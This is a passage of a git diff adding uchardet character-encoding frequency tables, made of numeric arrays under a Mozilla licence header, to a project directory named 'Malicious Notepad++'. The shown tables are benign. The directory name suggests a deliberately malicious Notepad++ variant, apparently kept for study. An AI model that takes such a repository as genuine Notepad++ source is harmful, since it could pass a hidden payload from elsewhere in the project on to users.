+5647,5648,5649,1381,1056,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660, +1666,5661,5662,5663,5664,5665,5666,5667,5668,1667,5669,1668,5670,5671,5672,5673, +5674,5675,5676,5677,5678,1155,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688, +5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,1669,5699,5700,5701,5702,5703, +5704,5705,1670,5706,5707,5708,5709,5710,1671,5711,5712,5713,5714,1382,5715,5716, +5717,5718,5719,5720,5721,5722,5723,5724,5725,1672,5726,5727,1673,1674,5728,5729, +5730,5731,5732,5733,5734,5735,5736,1675,5737,5738,5739,5740,5741,5742,5743,5744, +1676,5745,5746,5747,5748,5749,5750,5751,1383,5752,5753,5754,5755,5756,5757,5758, +5759,5760,5761,5762,5763,5764,5765,5766,5767,5768,1677,5769,5770,5771,5772,5773, +1678,5774,5775,5776, 998,5777,5778,5779,5780,5781,5782,5783,5784,5785,1384,5786, +5787,5788,5789,5790,5791,5792,5793,5794,5795,5796,5797,5798,5799,5800,1679,5801, +5802,5803,1115,1116,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815, +5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828,5829,5830,5831, +5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847, +5848,5849,5850,5851,5852,5853,5854,5855,1680,5856,5857,5858,5859,5860,5861,5862, +5863,5864,1681,5865,5866,5867,1682,5868,5869,5870,5871,5872,5873,5874,5875,5876, +5877,5878,5879,1683,5880,1684,5881,5882,5883,5884,1685,5885,5886,5887,5888,5889, +5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905, +5906,5907,1686,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,1687, +5936,5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951, +5952,1688,1689,5953,1199,5954,5955,5956,5957,5958,5959,5960,5961,1690,5962,5963, +5964,5965,5966,5967,5968,5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979, +5980,5981,1385,5982,1386,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993, +5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009, +6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025, +6026,6027,1265,6028,6029,1691,6030,6031,6032,6033,6034,6035,6036,6037,6038,6039, +6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055, +6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068,6069,6070,6071, +6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,1692,6085,6086, +6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102, +6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118, +6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133, +6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147, +6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163, +6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179, +6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194, +6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210, +6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225, +6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241, +6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256, +6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271, //1024 +6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287, +6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699, +6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317, +6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333, +6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347, +6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363, +6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379, +6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395, +6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411, +6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425, +6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440, +6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456, +6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472, +6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488, +6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266, +6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519, +6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535, +6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551, +1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565, +6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581, +6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597, +6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613, +6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629, +6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644, +1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659, +6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674, +1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689, +6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705, +6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721, +6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736, +1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748, +6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763, +6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779, +6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794, +6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711, +6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825, +6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840, +6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856, +6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872, +6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888, +6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903, +6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918, +6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934, +6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950, +6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966, +6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981, +6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996, +6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011, +7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027, +7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042, +7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058, +7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074, +7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090, +7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106, +7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122, +7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138, +7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154, +7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170, +7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186, +7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202, +7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216, +7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232, +7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248, +7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264, +7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280, +7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296, +7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312, +7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327, +7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343, +7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359, +7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375, +7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391, +7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407, +7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423, +7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439, +7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455, +7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471, +7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487, +7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503, +7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519, +7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535, +7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551, +7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, +7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583, +7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599, +7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615, +7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631, +7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647, +7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663, +7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679, +7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695, +7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711, +7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727, +7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743, +7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759, +7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775, +7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791, +7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807, +7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823, +7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839, +7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855, +7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871, +7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887, +7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903, +7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919, +7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, +7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, +7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, +7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, +7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, +8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, +8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, +8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, +8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, +8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, +8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, +8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, +8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, +8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, +8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, +8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, +8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, +8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, +8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, +8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, +8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, +8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, +8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287, +8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303, +8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319, +8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335, +8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351, +8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367, +8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383, +8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399, +8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415, +8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431, +8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447, +8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463, +8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479, +8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495, +8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511, +8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527, +8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543, +8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559, +8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575, +8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591, +8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607, +8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623, +8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639, +8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655, +8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671, +8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687, +8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, +8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719, +8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735, +8736,8737,8738,8739,8740,8741 +****************************************************************************************/ +}; + diff --git a/Malicious Notepad++/src/uchardet/EUCTWFreq.tab b/Malicious Notepad++/src/uchardet/EUCTWFreq.tab new file mode 100644 index 0000000..3a189ae --- /dev/null +++ b/Malicious Notepad++/src/uchardet/EUCTWFreq.tab @@ -0,0 +1,447 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// EUCTW frequency table +// Converted from big5 work +// by Taiwan's Mandarin Promotion Council +// + + +/****************************************************************************** + * 128 --> 0.42261 + * 256 --> 0.57851 + * 512 --> 0.74851 + * 1024 --> 0.89384 + * 2048 --> 0.97583 + * + * Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 + * Random Distribution Ration = 512/(5401-512)=0.105 + * + * Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + *****************************************************************************/ + +#define EUCTW_TYPICAL_DISTRIBUTION_RATIO (float)0.75 + +//Char to FreqOrder table , +#define EUCTW_TABLE_SIZE 8102 + +static const PRInt16 EUCTWCharToFreqOrder[] = +{ + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, // 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, // 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, // 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, // 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, // 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, // 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, // 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, // 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, // 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, // 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, // 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, // 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, // 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, // 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, // 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, // 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, // 2998 + 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, // 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, // 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, // 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, // 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, // 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, // 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, // 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, // 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, // 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, // 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, // 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, // 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, // 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, // 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, // 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, // 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, // 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, // 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, // 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, // 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, // 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, // 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, // 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, // 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, // 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, // 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, // 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, // 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, // 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, // 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, // 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, // 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, // 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, // 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, // 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, // 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, // 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, // 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, // 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, // 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, // 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, // 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, // 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, // 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, // 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, // 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, // 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, // 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, // 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, // 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, // 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, // 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, // 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, // 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, // 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, // 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, // 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, // 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, // 3942 + 165, 